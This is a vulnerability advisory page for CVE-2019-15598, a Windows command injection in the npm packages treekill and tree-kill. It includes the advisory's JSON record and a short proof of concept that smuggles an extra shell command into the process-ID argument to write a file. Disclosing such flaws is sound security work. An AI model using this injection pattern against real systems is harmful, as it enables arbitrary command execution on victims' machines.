GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-J7FQ-P9Q7-5WFV

Vulnerability from github – Published: 2022-05-24 17:04 – Updated: 2024-04-22 23:20
VLAI
Summary
Treekill Enables OS Command Injection
Details

A Code Injection exists in treekill and tree-kill on Windows which allows a remote code execution when an attacker is able to control the input into the command.

Steps To Reproduce:

Create the following PoC file:

var kill = require('treekill');
kill('3333332 & echo "HACKED" > HACKED.txt & ');

Execute the following commands in terminal:

npm i treekill # Install affected module
dir # Check *HACKED.txt* doesn't exist
node poc.js #  Run the PoC
dir # Now *HACKED.txt* exists :)

The HACKED.txt has been created

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "tree-kill"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-15598"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-22T23:19:59Z",
    "nvd_published_at": "2019-12-18T21:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "A Code Injection exists in treekill and tree-kill on Windows which allows a remote code execution when an attacker is able to control the input into the command.\n\n### Steps To Reproduce:\nCreate the following PoC file:\n\n```js\nvar kill = require(\u0027treekill\u0027);\nkill(\u00273333332 \u0026 echo \"HACKED\" \u003e HACKED.txt \u0026 \u0027);\n```\n\nExecute the following commands in terminal:\n\n```shell\nnpm i treekill # Install affected module\ndir # Check *HACKED.txt* doesn\u0027t exist\nnode poc.js #  Run the PoC\ndir # Now *HACKED.txt* exists :)\n```\n\nThe HACKED.txt has been created",
  "id": "GHSA-j7fq-p9q7-5wfv",
  "modified": "2024-04-22T23:20:00Z",
  "published": "2022-05-24T17:04:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-15598"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pkrumins/node-tree-kill/issues/30"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pkrumins/node-tree-kill/pull/31"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pkrumins/node-tree-kill/commit/ff73dbf144c4c2daa67799a50dfff59cd455c63c"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/701183"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/703415"
    },
    {
      "type": "WEB",
      "url": "https://github.com/node-modules/treekill/blob/master/index.js#L32"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pkrumins/node-tree-kill"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-JS-TREEKILL-536781"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Treekill Enables OS Command Injection"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…